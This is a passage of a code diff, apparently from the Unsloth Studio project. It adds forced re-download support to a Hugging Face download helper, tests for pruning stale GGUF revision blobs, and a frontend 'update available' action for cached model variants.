+            {"repo_id": repo_id, "filename": filename, "force": kwargs.get("force_download")}
+        )
+        return ("ok", "/freshly/downloaded/path")
+
+    monkeypatch.setattr(X, "_run_download_attempt", fake_attempt, raising = True)
+
+    # force_download=False: cache-first early-return, no download attempt.
+    out = X.hf_hub_download_with_xet_fallback(
+        "unsloth/repo", "model.gguf", token = None, force_download = False
+    )
+    assert out == cached_path
+    assert attempts == []  # never reached the real download
+
+    # force_download=True: bypass the early-return, run the real download.
+    out2 = X.hf_hub_download_with_xet_fallback(
+        "unsloth/repo", "model.gguf", token = None, force_download = True
+    )
+    assert out2 == "/freshly/downloaded/path"
+    assert len(attempts) == 1
+    assert attempts[0]["force"] is True
+
+
+# ── multi-revision GGUF blob comparison and update reclaim ──
+#
+# Regression for the phantom "Update available" cue that lingered AFTER a model
+# was already updated. A re-download leaves BOTH the old and new revision
+# snapshots in the HF cache, so the same gguf file resolves to several blobs.
+# The local collection must keep ALL of them (a set per file), and stale hashes
+# must be pruned only after the replacement revision verifies.
+
+
+def _rev(*files):
+    return SimpleNamespace(
+        files = [SimpleNamespace(file_name = name, blob_path = f"/blobs/{blob}") for name, blob in files]
+    )
+
+
+def test_repo_gguf_blob_map_collects_all_revision_blobs():
+    """Every cached revision's blob for a gguf file is kept as a set, not
+    collapsed to one arbitrary blob."""
+    repo_info = SimpleNamespace(
+        revisions = [
+            _rev(("lfm2-350m-q4_k_m.gguf", "OLDsha")),
+            _rev(("lfm2-350m-q4_k_m.gguf", "NEWsha")),
+        ]
+    )
+    assert CI._repo_gguf_blob_map(repo_info) == {"lfm2-350m-q4_k_m.gguf": {"OLDsha", "NEWsha"}}
+
+
+def test_reclaim_replaced_gguf_variant_prunes_old_revision_only(monkeypatch, tmp_path):
+    """After a verified update, stale same-variant files/blobs are removed while
+    the freshly downloaded hash and sibling variants remain cached."""
+    repo_id = "org/repo-GGUF"
+    repo_path = tmp_path / "models--org--repo-GGUF"
+    old_snap = repo_path / "snapshots" / ("a" * 40) / "model-Q4_K_M.gguf"
+    new_snap = repo_path / "snapshots" / ("b" * 40) / "model-Q4_K_M.gguf"
+    sibling_snap = repo_path / "snapshots" / ("b" * 40) / "model-Q8_0.gguf"
+    old_blob = repo_path / "blobs" / "OLDsha"
+    new_blob = repo_path / "blobs" / "NEWsha"
+    sibling_blob = repo_path / "blobs" / "Q8sha"
+    for path, payload in (
+        (old_snap, b"old"),
+        (new_snap, b"new"),
+        (sibling_snap, b"sibling"),
+        (old_blob, b"old-blob"),
+        (new_blob, b"new-blob"),
+        (sibling_blob, b"sibling-blob"),
+    ):
+        path.parent.mkdir(parents = True, exist_ok = True)
+        path.write_bytes(payload)
+
+    repo_info = SimpleNamespace(
+        repo_id = repo_id,
+        repo_type = "model",
+        repo_path = repo_path,
+        revisions = [
+            SimpleNamespace(
+                files = [
+                    SimpleNamespace(
+                        file_name = "model-Q4_K_M.gguf",
+                        file_path = str(old_snap),
+                        blob_path = str(old_blob),
+                    )
+                ]
+            ),
+            SimpleNamespace(
+                files = [
+                    SimpleNamespace(
+                        file_name = "model-Q4_K_M.gguf",
+                        file_path = str(new_snap),
+                        blob_path = str(new_blob),
+                    ),
+                    SimpleNamespace(
+                        file_name = "model-Q8_0.gguf",
+                        file_path = str(sibling_snap),
+                        blob_path = str(sibling_blob),
+                    ),
+                ]
+            ),
+        ],
+    )
+    monkeypatch.setattr(
+        CI,
+        "all_hf_cache_scans",
+        lambda: [SimpleNamespace(repos = [repo_info])],
+    )
+    invalidated = []
+    monkeypatch.setattr(CI, "invalidate_hf_cache_scans", lambda: invalidated.append(True))
+
+    result = D.reclaim_replaced_gguf_variant(repo_id, "Q4_K_M", frozenset({"NEWsha"}))
+
+    assert result["removed_snapshots"] == 1
+    assert result["deleted_blobs"] == 1
+    assert result["removed_dirs"] == 1
+    assert old_snap.exists() is False
+    assert old_snap.parent.exists() is False
+    assert old_blob.exists() is False
+    assert new_snap.exists() is True
+    assert new_blob.exists() is True
+    assert sibling_snap.exists() is True
+    assert sibling_blob.exists() is True
+    assert invalidated == [True]
diff --git a/studio/backend/utils/hf_xet_fallback.py b/studio/backend/utils/hf_xet_fallback.py
index a6ba69fffc..15961ac03a 100644
--- a/studio/backend/utils/hf_xet_fallback.py
+++ b/studio/backend/utils/hf_xet_fallback.py
@@ -161,6 +161,7 @@ def _download_child_entry(
     repo_type: str,
     disable_xet: bool,
     result_queue: Any,
+    force_download: bool = False,
 ) -> None:
     """Spawn-child entrypoint: download one file and report the result.
 
@@ -211,6 +212,7 @@ def _download_child_entry(
             filename = filename,
             repo_type = repo_type,
             token = token,
+            force_download = force_download,
         )
         result_queue.put({"ok": True, "path": path})
     except BaseException as e:  # noqa: BLE001 - report every failure to the parent
@@ -264,6 +266,7 @@ def _run_download_attempt(
     interval: float,
     grace_period: float,
     on_status: Optional[Callable[[str], None]],
+    force_download: bool = False,
 ) -> tuple[str, Optional[str]]:
     """Run one download in a spawn child supervised by the no-progress watchdog.
 
@@ -280,6 +283,7 @@ def _run_download_attempt(
             repo_type = repo_type,
             disable_xet = disable_xet,
             result_queue = result_queue,
+            force_download = force_download,
         ),
         daemon = True,
     )
@@ -345,21 +349,28 @@ def hf_hub_download_with_xet_fallback(
     interval: float = DEFAULT_HEARTBEAT_INTERVAL,
     grace_period: float = DEFAULT_GRACE_PERIOD,
     on_status: Optional[Callable[[str], None]] = None,
+    force_download: bool = False,
 ) -> str:
     """Download a single file with Xet primary and HTTP as a stall-only fallback.
 
     Returns the local cache path. Raises ``RuntimeError("Cancelled")`` if
     *cancel_event* is set, re-raises a deterministic child error unchanged (no
     fallback), and raises ``DownloadStallError`` only if BOTH transports stall.
+
+    When *force_download* is True the cache-first early-return is skipped and the
+    flag is threaded to ``hf_hub_download`` so a newer remote blob is re-fetched
+    even if an older blob is already cached.
     """
     # Finalized blob already cached: return it with no child and no network.
-    try:
-        from huggingface_hub import try_to_load_from_cache
-        cached = try_to_load_from_cache(repo_id, filename, repo_type = repo_type)
-        if isinstance(cached, str) and os.path.exists(cached):
-            return cached
-    except Exception as e:
-        logger.debug("Cached probe failed for %s/%s: %s", repo_id, filename, e)
+    # Skipped when force_download is set so an update re-fetches a newer blob.
+    if not force_download:
+        try:
+            from huggingface_hub import try_to_load_from_cache
+            cached = try_to_load_from_cache(repo_id, filename, repo_type = repo_type)
+            if isinstance(cached, str) and os.path.exists(cached):
+                return cached
+        except Exception as e:
+            logger.debug("Cached probe failed for %s/%s: %s", repo_id, filename, e)
 
     if cancel_event is not None and cancel_event.is_set():
         raise RuntimeError("Cancelled")
@@ -386,6 +397,7 @@ def hf_hub_download_with_xet_fallback(
             interval = interval,
             grace_period = grace_period,
             on_status = on_status,
+            force_download = force_download,
         )
 
         if kind == "ok":
diff --git a/studio/frontend/src/components/assistant-ui/model-selector/model-delete-action.tsx b/studio/frontend/src/components/assistant-ui/model-selector/model-delete-action.tsx
index d6afa30e05..4de96d3648 100644
--- a/studio/frontend/src/components/assistant-ui/model-selector/model-delete-action.tsx
+++ b/studio/frontend/src/components/assistant-ui/model-selector/model-delete-action.tsx
@@ -1,16 +1,7 @@
 // SPDX-License-Identifier: AGPL-3.0-only
 // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
-import {
-  AlertDialog,
-  AlertDialogAction,
-  AlertDialogCancel,
-  AlertDialogContent,
-  AlertDialogDescription,
-  AlertDialogFooter,
-  AlertDialogHeader,
-  AlertDialogTitle,
-} from "@/components/ui/alert-dialog";
+import { DeleteConfirmDialog } from "@/features/hub/catalog/download-card";
 import { cn } from "@/lib/utils";
 import { Delete02Icon } from "@hugeicons/core-free-icons";
 import { HugeiconsIcon } from "@hugeicons/react";
@@ -22,7 +13,6 @@ interface ModelDeleteActionProps {
   title: string;
   description: ReactNode;
   successMessage: string;
-  loadingLabel?: string;
   buttonClassName?: string;
   iconClassName?: string;
   disabled?: boolean;
@@ -35,7 +25,6 @@ export function ModelDeleteAction({
   title,
   description,
   successMessage,
-  loadingLabel = "Deleting...",
   buttonClassName,
   iconClassName,
   disabled = false,
@@ -85,33 +74,17 @@ export function ModelDeleteAction({
         />
       </button>
 
-      <AlertDialog
+      <DeleteConfirmDialog
         open={open}
         onOpenChange={(nextOpen) => {
           if (!nextOpen && deleting) return;
           setOpen(nextOpen);
         }}
-      >
-        <AlertDialogContent size="sm">
-          <AlertDialogHeader>
-            <AlertDialogTitle>{title}</AlertDialogTitle>
-            <AlertDialogDescription>{description}</AlertDialogDescription>
-          </AlertDialogHeader>
-          <AlertDialogFooter>
-            <AlertDialogCancel disabled={deleting}>No</AlertDialogCancel>
-            <AlertDialogAction
-              variant="destructive"
-              disabled={deleting}
-              onClick={(e) => {
-                e.preventDefault();
-                handleConfirm();
-              }}
-            >
-              {deleting ? loadingLabel : "Yes"}
-            </AlertDialogAction>
-          </AlertDialogFooter>
-        </AlertDialogContent>
-      </AlertDialog>
+        title={title}
+        description={description}
+        deleting={deleting}
+        onConfirm={() => void handleConfirm()}
+      />
     </>
   );
 }
diff --git a/studio/frontend/src/components/assistant-ui/model-selector/model-update-action.tsx b/studio/frontend/src/components/assistant-ui/model-selector/model-update-action.tsx
new file mode 100644
index 0000000000..d00c812325
--- /dev/null
+++ b/studio/frontend/src/components/assistant-ui/model-selector/model-update-action.tsx
@@ -0,0 +1,106 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import { subscribeJobListeners } from "@/features/hub/download-manager";
+import { UpdateConfirmDialog } from "@/features/hub/catalog/download-card";
+import { ggufVariantsMatch } from "@/features/hub/lib/model-identity";
+import { cn } from "@/lib/utils";
+import { RefreshCw } from "lucide-react";
+import { useCallback, useEffect, useRef, useState, type ReactNode } from "react";
+import { toast } from "sonner";
+
+interface ModelUpdateActionProps {
+  ariaLabel: string;
+  title: string;
+  description: ReactNode;
+  /** Repo + variant the update targets, so this action can refresh its caller
+   *  (clearing the "update available" cue) when the matching managed download
+   *  completes. `variant` is null for full-model (safetensors / MLX) rows. */
+  repoId: string;
+  variant?: string | null;
+  buttonClassName?: string;
+  iconClassName?: string;
+  disabled?: boolean;
+  /** Starts the update — which now runs as a managed download. Resolves once the
+   *  download has been handed to the download manager, NOT when it finishes. */
+  onConfirm: () => Promise<void> | void;
+  /** Fired when THIS repo+variant's managed update actually completes. */
+  onUpdated?: () => void;
+}
+
+export function ModelUpdateAction({
+  ariaLabel,
+  title,
+  description,
+  repoId,
+  variant = null,
+  buttonClassName,
+  iconClassName,
+  disabled = false,
+  onConfirm,
+  onUpdated,
+}: ModelUpdateActionProps) {
+  const [open, setOpen] = useState(false);
+
+  // The update is a managed download (it surfaces in the global Downloads panel
+  // with progress + cancel). When this exact repo+variant finishes, refresh the
+  // caller so the "update available" cue clears once the new revision is on
+  // disk. A ref keeps the subscription stable across renders without resubscribing.
+  const onUpdatedRef = useRef(onUpdated);
+  onUpdatedRef.current = onUpdated;
+  useEffect(() => {
+    return subscribeJobListeners("model", repoId, {
+      onComplete: (completedVariant) => {
+        const matches = variant
+          ? ggufVariantsMatch(completedVariant, variant)
+          : !completedVariant;
+        if (matches) onUpdatedRef.current?.();
+      },
+    });
+  }, [repoId, variant]);
+
+  const handleConfirm = useCallback(() => {
+    // Start the background re-download and close the dialog immediately; the
+    // Downloads panel owns progress + cancel from here. Only a failure to START
+    // surfaces a toast — a failed download reports itself in the panel.
+    void Promise.resolve()
+      .then(onConfirm)
+      .catch((err) => {
+        toast.error(
+          err instanceof Error ? err.message : "Failed to start update",
+        );
+      });
+    setOpen(false);
+  }, [onConfirm]);
+
+  return (
+    <>
+      <button
+        type="button"
+        onClick={(e) => {
+          e.stopPropagation();
+          if (disabled) return;
+          setOpen(true);
+        }}
+        aria-label={ariaLabel}
+        disabled={disabled}
+        className={cn(
+          "shrink-0 rounded-md p-1.5 text-muted-foreground/60 transition-colors hover:bg-amber-500/10 hover:text-amber-700 dark:hover:bg-amber-500/15 dark:hover:text-amber-300",
+          disabled && "cursor-not-allowed opacity-40 hover:bg-transparent hover:text-muted-foreground/60",
+          buttonClassName,
+        )}
+      >
+        <RefreshCw className={cn("size-3.5", iconClassName)} />
+      </button>
+
+      <UpdateConfirmDialog
+        open={open}
+        onOpenChange={setOpen}
+        title={title}
+        description={description}
+        updating={false}
+        onConfirm={handleConfirm}
+      />
+    </>
+  );
+}
diff --git a/studio/frontend/src/components/assistant-ui/model-selector/pickers.tsx b/studio/frontend/src/components/assistant-ui/model-selector/pickers.tsx
index 4a79904e3b..e11a08f8ab 100644
--- a/studio/frontend/src/components/assistant-ui/model-selector/pickers.tsx
+++ b/studio/frontend/src/components/assistant-ui/model-selector/pickers.tsx
@@ -23,18 +23,19 @@ import {
   listScanFolders,
   removeScanFolder,
 } from "@/features/chat/api/chat-api";
+import { useChatRuntimeStore } from "@/features/chat/stores/chat-runtime-store";
 import type {
   CachedGgufRepo,
   CachedModelRepo,
   LocalModelInfo,
 } from "@/features/chat/api/chat-api";
-import { useChatRuntimeStore } from "@/features/chat/stores/chat-runtime-store";
 import type { GgufVariantDetail } from "@/features/chat/types/api";
 import { DotTag } from "@/features/hub/catalog/dot-tag";
 import {
   type HubOption,
   HubOptionMenu,
 } from "@/features/hub/catalog/hub-option-menu";
+import { TransportConflictDialog } from "@/features/hub/catalog/transport-conflict-dialog";
 import { TrainIcon } from "@/features/hub/components/train-icon";
 import { useHubInfiniteScroll } from "@/features/hub/hooks/use-hub-infinite-scroll";
 import {
@@ -46,6 +47,11 @@ import { useOnlineStatus } from "@/features/hub/hooks/use-online-status";
 import { isHiddenModelId } from "@/features/hub/lib/hidden-models";
 import { classifyUnslothSupport } from "@/features/hub/lib/unsloth-support";
 import { useHfTokenStore } from "@/features/hub/stores/hf-token-store";
+import {
+  downloadManager,
+  jobKeyOf,
+  useDownloadManagerStore,
+} from "@/features/hub/download-manager";
 import { useDebouncedValue, useGpuInfo } from "@/hooks";
 import { extractParamLabel } from "@/lib/model-size";
 import { toast } from "@/lib/toast";
@@ -85,6 +91,7 @@ import {
   hasAnyCapability,
 } from "./model-capabilities";
 import { ModelDeleteAction } from "./model-delete-action";
+import { ModelUpdateAction } from "./model-update-action";
 import { ModelLoadSettingsAction } from "./model-load-settings-action";
 import {
   type ModelLoadTimes,
@@ -616,20 +623,26 @@ function normalizeGgufVariantsResponse(res: {
   };
 }
 
+function ggufVariantExpectedBytes(variant: GgufVariantDetail): number {
+  const downloadBytes = variant.download_size_bytes;
+  return typeof downloadBytes === "number" &&
+    Number.isFinite(downloadBytes) &&
+    downloadBytes > 0
+    ? downloadBytes
+    : variant.size_bytes;
+}
+
 function GgufVariantExpander({
   repoId,
   onSelect,
   gpuGb,
   systemRamGb,
+  hfToken,
   parentOptionKey,
   onNavigatePastStart,
   onNavigatePastEnd,
-  onDeleteVariant,
   sourceOverride,
-  deleteVariantTitle = "Delete cached model?",
-  renderDeleteVariantDescription,
-  getDeleteVariantSuccessMessage,
-  deleteDisabled = false,
+  variantActions,
   onDevice = false,
   onHasVision,
 }: {
@@ -637,21 +650,42 @@ function GgufVariantExpander({
   onSelect: (id: string, meta: ModelSelectorChangeMeta) => void;
   gpuGb?: number;
   systemRamGb?: number;
+  /** HF token threaded into the variant fetch so private/gated repos resolve
+   *  their GGUF variants (and update badges). */
+  hfToken?: string;
   parentOptionKey?: string;
   onNavigatePastStart?: () => void;
   onNavigatePastEnd?: () => void;
-  onDeleteVariant?: (quant: string) => Promise<void> | void;
   sourceOverride?: ModelSelectorChangeMeta["source"];
-  deleteVariantTitle?: string;
-  renderDeleteVariantDescription?: (quant: string) => ReactNode;
-  getDeleteVariantSuccessMessage?: (quant: string) => string;
-  deleteDisabled?: boolean;
+  /** Update/delete actions for cached variant rows. Omitted by browse-only
+   *  expanders (Recommended, etc.) that don't manage on-disk variants. */
+  variantActions?: {
+    onUpdate?: (quant: string, expectedBytes: number) => Promise<void> | void;
+    updateTitle?: string;
+    renderUpdateDescription?: (quant: string) => ReactNode;
+    getUpdateSuccessMessage?: (quant: string) => string;
+    updateDisabled?: boolean;
+    onDelete?: (quant: string) => Promise<void> | void;
+    deleteTitle?: string;
+    renderDeleteDescription?: (quant: string) => ReactNode;
+    getDeleteSuccessMessage?: (quant: string) => string;
+    deleteDisabled?: boolean;
+  };
   /** On Device rows honor the Show all quantizations setting; Recommended and
    *  other browse lists always show every quant. */
   onDevice?: boolean;
   /** Report GGUF vision support up so the parent row can badge it. */
   onHasVision?: (hasVision: boolean) => void;
 }) {
+  const onUpdateVariant = variantActions?.onUpdate;
+  const updateVariantTitle = variantActions?.updateTitle ?? "Update cached model?";
+  const renderUpdateVariantDescription = variantActions?.renderUpdateDescription;
+  const updateDisabled = variantActions?.updateDisabled ?? false;
+  const onDeleteVariant = variantActions?.onDelete;
+  const deleteVariantTitle = variantActions?.deleteTitle ?? "Delete cached model?";
+  const renderDeleteVariantDescription = variantActions?.renderDeleteDescription;
+  const getDeleteVariantSuccessMessage = variantActions?.getDeleteSuccessMessage;
+  const deleteDisabled = variantActions?.deleteDisabled ?? false;
   const [variants, setVariants] = useState<GgufVariantDetail[] | null>(null);
   const [defaultVariant, setDefaultVariant] = useState<string | null>(null);
   const [hasVision, setHasVision] = useState(false);
@@ -659,13 +693,14 @@ function GgufVariantExpander({
   const [nativeContext, setNativeContext] = useState<number | null>(null);
   const [loading, setLoading] = useState(true);
   const [error, setError] = useState<string | null>(null);
+  const [refreshKey, setRefreshKey] = useState(0);
 
   useEffect(() => {
     let canceled = false;
     setLoading(true);
     setError(null);
 
-    listGgufVariants(repoId)
+    listGgufVariants(repoId, hfToken)
       .then((res) => {
         if (canceled) return;
         const normalized = normalizeGgufVariantsResponse(res);
@@ -688,7 +723,7 @@ function GgufVariantExpander({
     return () => {
       canceled = true;
     };
-  }, [repoId]);
+  }, [repoId, refreshKey, hfToken]);
 
   // Covers Unix absolute (/), Windows drive (C:\, D:/), UNC (\\server), relative (./, ../), tilde (~/)
   const isLocalPath = /^(\/|\.{1,2}[\\\/]|~[\\\/]|[A-Za-z]:[\\\/]|\\\\)/.test(
@@ -870,6 +905,7 @@ function GgufVariantExpander({
         const fit = getGgufFit(v.size_bytes);
         const oom = fit === "oom";
         const tight = fit === "tight";
+        const expectedBytes = ggufVariantExpectedBytes(v);
         const keyBase = `${repoId}:${v.filename}`;
         const variantOptionKey = makeModelOptionKey("gguf-variant", keyBase);
         return (
@@ -878,7 +914,7 @@ function GgufVariantExpander({
               type="button"
               {...variantList.getOptionProps(variantOptionKey, false)}
               onClick={() =>
-                handleVariantClick(v.quant, v.downloaded, v.size_bytes)
+                handleVariantClick(v.quant, v.downloaded, expectedBytes)
               }
               className={cn(
                 "flex min-w-0 flex-1 items-center justify-between gap-2 rounded-full px-2 py-1 text-left text-sm transition-colors hover:bg-[#ececec] focus-visible:bg-[#ececec] focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring/45 dark:hover:bg-[var(--sidebar-accent)] dark:focus-visible:bg-[var(--sidebar-accent)]",
@@ -891,9 +927,16 @@ function GgufVariantExpander({
                   {v.quant}
                 </span>
                 {v.downloaded ? (
-                  <span className="ml-1.5 text-[9px] font-sans font-medium text-green-400">
-                    downloaded
-                  </span>
+                  <>
+                    <span className="ml-1.5 text-[9px] font-sans font-medium text-green-400">
+                      downloaded
+                    </span>
+                    {v.update_available ? (
+                      <span className="ml-1.5 text-[9px] font-sans font-medium text-amber-700 dark:text-amber-300">
+                        update available
+                      </span>
+                    ): null}
+                  </>
                 ) : v.quant === effectiveRecommended ? (
                   <span className="ml-1.5 text-[9px] font-sans font-medium text-primary/70">
                     recommended
@@ -916,6 +959,29 @@ function GgufVariantExpander({
                 </span>
               </span>
             </button>
+            {v.downloaded && v.update_available && onUpdateVariant && (
+              <ModelUpdateAction
+                ariaLabel={`Update ${repoId} ${v.quant}`}
+                title={updateVariantTitle}
+                description={
+                  renderUpdateVariantDescription?.(v.quant) ?? (
+                    <>
+                      This will update{" "}
+                      <span className="font-medium text-foreground">
+                        {repoId} ({v.quant})
+                      </span>{"."}
+                    </>
+                  )
+                }
+                repoId={repoId}
+                variant={v.quant}
+                buttonClassName="p-1"
+                iconClassName="size-3"
+                disabled={updateDisabled}
+                onConfirm={() => onUpdateVariant(v.quant, expectedBytes)}
+                onUpdated={() => setRefreshKey((key) => key + 1)}
+              />
+            )}
             {v.downloaded && (
               <ModelLoadSettingsAction
                 ariaLabel={`Inference settings for ${repoId} ${v.quant}`}
@@ -1179,18 +1245,25 @@ export function HubModelPicker({
   onEject?: () => void;
 }) {
   const gpu = useGpuInfo();
+  // The currently-loaded/running model id. We read params.checkpoint from the
+  // runtime store (backend-mirrored from /api/inference/status.active_model, see
+  // chat-runtime-store) rather than the dropdown `isSelected` highlight (which is
+  // just `value === repo_id` and can reflect a staged, not-yet-loaded pick). Used
+  // to disable the cached-row update action for the model that's live in memory.
+  const loadedModelId = useChatRuntimeStore((s) => s.params.checkpoint);
   // Last-loaded timestamps power the "Recent" sort (vs "Downloaded" = file date).
   const loadTimes = useModelLoadTimes(value);
   // Fade the list's top edge once scrolled, and its bottom edge while more
   // rows sit below the fold.
   const [listScrolled, setListScrolled] = useState(false);
   const [listMoreBelow, setListMoreBelow] = useState(false);
+  const hfToken = useHfTokenStore((s) => s.token);
   const [query, setQuery] = useState("");
   const debouncedQuery = useDebouncedValue(query);
   // Shared Hub search stack (the same hooks the Hub page uses) so the picker
   // and Hub run one implementation. Scoped to unsloth like the old listing.
   const online = useOnlineStatus();
-  const accessToken = useHfTokenStore((s) => s.token) || undefined;
+  const accessToken = hfToken || undefined;
   // Recommended section: a live unsloth listing sorted by the dropdown. The
   // same sort drives the search results so the dropdown works while searching.
   const [recommendedSort, setRecommendedSort] =
@@ -1358,6 +1431,28 @@ export function HubModelPicker({
   const alreadyCached =
     _cachedGgufCache.length > 0 || _cachedModelsCache.length > 0;
   const [cachedReady, setCachedReady] = useState(alreadyCached);
+  const [updateConflictKey, setUpdateConflictKey] = useState<string | null>(
+    null,
+  );
+  const updateTransportConflict = useDownloadManagerStore((state) =>
+    updateConflictKey
+      ? (state.conflicts[updateConflictKey]?.info ?? null)
+      : null,
+  );
+  const cancelUpdateConflict = useCallback(() => {
+    if (updateConflictKey) downloadManager.cancelConflict(updateConflictKey);
+    setUpdateConflictKey(null);
+  }, [updateConflictKey]);
+  const resumeUpdateConflict = useCallback(() => {
+    if (!updateConflictKey) return;
+    downloadManager.resumeConflict(updateConflictKey);
+    setUpdateConflictKey(null);
+  }, [updateConflictKey]);
+  const restartUpdateConflict = useCallback(() => {
+    if (!updateConflictKey) return;
+    downloadManager.restartConflict(updateConflictKey);
+    setUpdateConflictKey(null);
+  }, [updateConflictKey]);
 
   // LM Studio local models -- module-level cache, same pattern as above.
   const [lmStudioModels, setLmStudioModels] =
@@ -1480,14 +1575,42 @@ export function HubModelPicker({
         setCachedGguf(v);
       })
       .catch(() => {});
-    listCachedModels()
+    listCachedModels(hfToken || undefined)
       .then((v) => {
         _cachedModelsCache = v;
         setCachedModels(v);
       })
       .catch(() => {});
     refreshLocalModelsList();
-  }, [refreshLocalModelsList]);
+  }, [hfToken, refreshLocalModelsList]);
+
+  // Updates run as MANAGED downloads (they show in the global Downloads panel
+  // with manifest-based progress + a working Cancel), instead of a blocking
+  // call. The worker re-resolves `main` and pulls only changed blobs, so the
+  // cached copy stays usable until the new revision lands. The row's
+  // ModelUpdateAction refreshes the list when this repo+variant completes.
+  const startManagedUpdate = useCallback((repoId: string, variant: string, expectedBytes: number) => {
+    return downloadManager
+      .requestStart({
+        kind: "model",
+        repoId,
+        variant,
+        expectedBytes,
+      })
+      .then((outcome) => {
+        if (outcome === "conflict") {
+          setUpdateConflictKey(jobKeyOf("model", repoId, variant));
+        } else if (outcome === "error") {
+          throw new Error("Failed to start update");
+        }
+      });
+  }, []);
+
+  const updateGgufVariant = useCallback(
+    (repoId: string, quant: string, expectedBytes: number) =>
+      startManagedUpdate(repoId, quant, expectedBytes),
+    [startManagedUpdate],
+  );
 
   useEffect(() => {
     // Always refresh LM Studio + custom folder models (not gated by alreadyCached).
@@ -1512,14 +1635,14 @@ export function HubModelPicker({
       })
       .catch(() => {})
       .finally(check);
-    listCachedModels()
+    listCachedModels(hfToken || undefined)
       .then((v) => {
         _cachedModelsCache = v;
         setCachedModels(v);
       })
       .catch(() => {})
       .finally(check);
-  }, [refreshLocalModelsList, refreshScanFolders]);
+  }, [hfToken, refreshLocalModelsList, refreshScanFolders]);
 
   // Hide downloaded models from the recommended list. Case-insensitive
   // since the HF cache lowercases repo IDs.
@@ -2317,14 +2440,21 @@ export function HubModelPicker({
             onDevice={true}
             onHasVision={(v) => reportVision(c.repo_id, v)}
             onSelect={onSelect}
+            hfToken={hfToken || undefined}
             parentOptionKey={optionKey}
             onNavigatePastStart={() => hubModelList.focusOption(optionKey)}
             onNavigatePastEnd={() => hubModelList.moveFocus(optionKey, "next")}
             gpuGb={gpu.available ? gpu.memoryTotalGb : undefined}
             systemRamGb={gpu.systemRamAvailableGb || undefined}
-            onDeleteVariant={async (quant) => {
-              await deleteCachedModel(c.repo_id, quant);
-              refreshCachedLists();
+            variantActions={{
+              onUpdate: (quant, expectedBytes) =>
+                updateGgufVariant(c.repo_id, quant, expectedBytes),
+              // Can't update the model that's live in memory under itself.
+              updateDisabled: loadedModelId === c.repo_id,
+              onDelete: async (quant) => {
+                await deleteCachedModel(c.repo_id, quant);
+                refreshCachedLists();
+              },
             }}
           />
         )}
@@ -2383,7 +2513,8 @@ export function HubModelPicker({
   };
 
   return (
-    <div className="relative space-y-2">
+    <>
+      <div className="relative space-y-2">
       {/* A small right inset shortens the search bar so Search Hub lands on the
           last dropdown's right edge (none on the wider Connected box). */}
       <div
@@ -3239,6 +3370,7 @@ export function HubModelPicker({
                             <GgufVariantExpander
                               repoId={id}
                               onSelect={onSelect}
+                              hfToken={hfToken || undefined}
                               parentOptionKey={optionKey}
                               onNavigatePastStart={() =>
                                 hubModelList.focusOption(optionKey)
@@ -3250,9 +3382,11 @@ export function HubModelPicker({
                                 gpu.available ? gpu.memoryTotalGb : undefined
                               }
                               systemRamGb={gpu.systemRamAvailableGb || undefined}
-                              onDeleteVariant={async (quant) => {
-                                await deleteCachedModel(id, quant);
-                                refreshCachedLists();
+                              variantActions={{
+                                onDelete: async (quant) => {
+                                  await deleteCachedModel(id, quant);
+                                  refreshCachedLists();
+                                },
                               }}
                             />
                           )}
@@ -3324,6 +3458,7 @@ export function HubModelPicker({
                           <GgufVariantExpander
                             repoId={id}
                             onSelect={onSelect}
+                            hfToken={hfToken || undefined}
                             parentOptionKey={optionKey}
                             onNavigatePastStart={() =>
                               hubModelList.focusOption(optionKey)
@@ -3335,9 +3470,11 @@ export function HubModelPicker({
                               gpu.available ? gpu.memoryTotalGb : undefined
                             }
                             systemRamGb={gpu.systemRamAvailableGb || undefined}
-                            onDeleteVariant={async (quant) => {
-                              await deleteCachedModel(id, quant);
-                              refreshCachedLists();
+                            variantActions={{
+                              onDelete: async (quant) => {
+                                await deleteCachedModel(id, quant);
+                                refreshCachedLists();
+                              },
                             }}
                           />
                         )}
@@ -3411,6 +3548,7 @@ export function HubModelPicker({
                             <GgufVariantExpander
                               repoId={id}
                               onSelect={onSelect}
+                              hfToken={hfToken || undefined}
                               parentOptionKey={optionKey}
                               onNavigatePastStart={() =>
                                 hubModelList.focusOption(optionKey)
@@ -3422,9 +3560,11 @@ export function HubModelPicker({
                                 gpu.available ? gpu.memoryTotalGb : undefined
                               }
                               systemRamGb={gpu.systemRamAvailableGb || undefined}
-                              onDeleteVariant={async (quant) => {
-                                await deleteCachedModel(id, quant);
-                                refreshCachedLists();
+                              variantActions={{
+                                onDelete: async (quant) => {
+                                  await deleteCachedModel(id, quant);
+                                  refreshCachedLists();
+                                },
                               }}
                             />
                           )}
@@ -3459,7 +3599,14 @@ export function HubModelPicker({
           </button>
         </div>
       ) : null}
-    </div>
+      </div>
+      <TransportConflictDialog
+        conflict={updateTransportConflict}
+        onCancel={cancelUpdateConflict}
+        onKeepTransport={resumeUpdateConflict}
+        onSwitchTransport={restartUpdateConflict}
+      />
+    </>
   );
 }
 
@@ -3611,22 +3758,21 @@ function FineTunedRows({
                 gpuGb={gpu.available ? gpu.memoryTotalGb : undefined}
                 systemRamGb={gpu.systemRamAvailableGb || undefined}
                 sourceOverride={isExportedGguf ? "exported" : undefined}
-                deleteVariantTitle="Delete exported GGUF variant?"
-                renderDeleteVariantDescription={(quant) => (
-                  <>
-                    This will remove{" "}
-                    <span className="font-medium text-foreground">
-                      {adapter.name} ({quant})
-                    </span>{" "}
-                    from disk. This cannot be undone.
-                  </>
-                )}
-                getDeleteVariantSuccessMessage={(quant) =>
-                  `Deleted ${adapter.name} ${quant}`
-                }
-                deleteDisabled={deleteDisabled}
-                onDeleteVariant={
-                  isExportedGguf
+                variantActions={{
+                  deleteTitle: "Delete exported GGUF variant?",
+                  renderDeleteDescription: (quant) => (
+                    <>
+                      This will remove{" "}
+                      <span className="font-medium text-foreground">
+                        {adapter.name} ({quant})
+                      </span>{" "}
+                      from disk. This cannot be undone.
+                    </>
+                  ),
+                  getDeleteSuccessMessage: (quant) =>
+                    `Deleted ${adapter.name} ${quant}`,
+                  deleteDisabled: deleteDisabled,
+                  onDelete: isExportedGguf
                     ? async (quant) => {
                         await deleteFineTunedModel({
                           modelPath: adapter.id,
@@ -3639,8 +3785,8 @@ function FineTunedRows({
                           ggufVariant: quant,
                         });
                       }
-                    : undefined
-                }
+                    : undefined,
+                }}
               />
             )}
           </div>
